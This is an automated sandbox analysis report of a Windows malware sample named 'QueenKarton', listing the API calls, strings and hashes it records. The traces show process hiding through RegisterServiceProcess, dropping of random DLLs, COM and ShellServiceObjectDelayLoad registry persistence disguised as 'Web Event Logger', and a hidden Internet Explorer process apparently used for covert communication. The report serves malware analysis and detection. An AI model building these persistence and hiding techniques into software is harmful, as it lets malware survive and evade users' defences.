CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

%s\%s.exe, xrefs: 00406D9C
kkq32.vxd, xrefs: 00406E26
2, xrefs: 00406D83
kernel32.dll, xrefs: 00406F2D
3, xrefs: 00406D7C
QueenKarton_12, xrefs: 00406C44, 00406F09
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
%s\%s, xrefs: 00406E11, 00406E30, 00406E49
kkq32.dll, xrefs: 00406E07
dnkkq.dll, xrefs: 00406E3F
RegisterServiceProcess, xrefs: 00406F37

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Ojacofgb,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Ojacofgb,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Ojacofgb,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Ojacofgb,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

2, xrefs: 00404023
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125
%s\%s.dll, xrefs: 0040403C
Ojacofgb, xrefs: 00404080, 00404085
Web Event Logger, xrefs: 00404126
3, xrefs: 0040401C
Apartment, xrefs: 0040410A
ThreadingModel, xrefs: 0040410F
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
CLSID\%s\InProcServer32, xrefs: 004040C7

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Ojacofgb$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-3032070440
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

D, xrefs: 00405D39
\Iexplore.exe , xrefs: 00405CEB
IEFrame, xrefs: 00405DE8
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
X-okRecv11, xrefs: 00405E3F
MicroSoft-Corp, xrefs: 00405DB9
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
Path, xrefs: 00405C90

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
